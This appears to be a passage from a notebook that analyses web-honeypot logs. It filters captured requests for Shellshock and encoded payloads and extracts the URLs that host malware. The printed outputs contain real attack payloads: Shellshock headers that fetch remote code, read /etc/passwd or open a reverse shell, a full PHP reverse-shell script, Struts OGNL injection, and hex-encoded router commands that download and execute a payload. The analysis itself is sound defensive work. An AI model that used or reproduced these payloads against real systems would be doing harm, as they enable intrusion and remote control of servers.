 u'GET /cgi-bin/14all-1.1.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/.namazu.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/.cobalt/message/message.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/.cobalt/alert/service.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /ccbill/whereami.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cartcart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /bigconf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /bandwidth/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /b2-include/b2edit.showposts.phpHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /axis-cgi/buffer/command.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /apps/web/vs_diag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /_mt/mt.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd)',
 u'GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd)',
 u'GET /cgi-bin-sdb/printenv HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nConnection: close\r\nCookie: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1\r\nUser-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1',
 u'GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"']

For any request that might contain shellshock, is there an easy way to pull out the urls that might host potential malware?



In [20]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].apply(lambda x: x[x.find('http://'):x[x.find('http://'):].find(' ') + x.find('http://')] if x.find('http://') > 0 else 'a').unique()









    Out[20]:





array([u'http://stablehost.us/bots/regular.bot',
       u'http://www.baidu.com\r\nUser-Agent:', 'a',
       u'http://www.ykum.com//bbs/skin/zero_vote/cpan_root',
       u'http://202.143.160.141/lib21/index.cgi',
       u'http://184.171.247.165/wi;curl'], dtype=object)

Look for various encoded requests, this is usually a good sign that an attacker is trying to inject information into a request in a potentially obfuscated way.



In [21]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('%')]['request_raw'].value_counts()









    Out[21]:





POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: TE\r\nContent-Length: 206\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A31%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin3%2Ephp%22%3B%7D%7D    12
POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}     7
GET /w00tw00t.at.blackhats.romanian.anti-sec:%29 HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: www.www.www.www\r\nUser-Agent: ZmEu     5
POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}     2
GET /w00tw00t.at.blackhats.romanian.anti-sec:%29 HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: ZmEu     2
GET %3Ctitle%3EphpMyAdmin HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)     2
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2171\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php system("wget 208.85.177.238/.x/hb/php02 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7 85.214.73.166;rm -rf /tmp/.bash_h1s7 &"); ?>set_time_limit(0);\n$ip = '91.121.105.21';\n$port = 22;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\t\n\tif ($pid == -1) {\n\t\tprintit("ERROR: Can't fork");\n\t\texit(1);\n\t}\n\tif ($pid) {\n\t\texit(0);\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit("Error: Can't setsid()");\n\t\texit(1);\n\t}\n\t$daemon = 1;\n} else {\n\tprintit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit("$errstr ($errno)");\n\texit(1);\n}\n$descriptorspec = array(\n   0 => array("pipe", "r"),\n   1 => array("pipe", "w"),\n   2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n\tprintit("ERROR: Can't spawn shell");\n\texit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit("ERROR: Shell connection terminated");\n\t\tbreak;\n\t}\n\tif (feof($pipes[1])) {\n\t\tprintit("ERROR: Shell process terminated");\n\t\tbreak;\n\t}\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit("SOCK READ");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit("SOCK: $input");\n\t\tfwrite($pipes[0], $input);\n\t}\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit("STDOUT READ");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit("STDOUT: $input");\n\t\tfwrite($sock, $input);\n\t}\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit("STDERR READ");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit("STDERR: $input");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint "$string\n";\n\t}\n}\nexit(1);\n?>     1
POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: TE\r\nContent-Length: 205\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A30%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin%2Ephp%22%3B%7D%7D     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%31%38%63%37%31%37%62%20%68%74%74%70%3a%2f%2f%31%38%34%2e%37%38%2e%31%37%37%2e%31%34%34%3a%33%32%30%30%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%2e%2f%2e%65%31%38%63%37%31%37%62%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%64%36%35%65%33%36%37%37%20%68%74%74%70%3a%2f%2f%31%31%30%2e%37%37%2e%32%30%32%2e%31%35%3a%33%32%30%30%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%2e%2f%2e%64%36%35%65%33%36%37%37%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1030\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%31%33%33%65%34%64%34%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%37%2e%36%34%3a%33%32%30%30%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%2e%2f%2e%31%31%33%33%65%34%64%34%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: Keep-Alive, TE\r\nContent-Length: 205\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nKeep-Alive: 300\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A30%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin%2Ephp%22%3B%7D%7D     1
POST /tmUnblock.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 1030\r\nHost: www.www.www.www\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%37%35%35%62%34%35%36%64%20%68%74%74%70%3a%2f%2f%38%35%2e%31%39%34%2e%38%32%2e%31%30%3a%33%32%30%30%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%2e%2f%2e%37%35%35%62%34%35%36%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
GET /w00tw00t.at.ISC.SANS.DFind:%29 HTTP/1.1                     1
POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy:8080\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%63%39%38%37%65%30%33%65%20%68%74%74%70%3a%2f%2f%39%38%2e%31%35%39%2e%38%31%2e%31%33%37%3a%33%32%30%30%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%2e%2f%2e%63%39%38%37%65%30%33%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
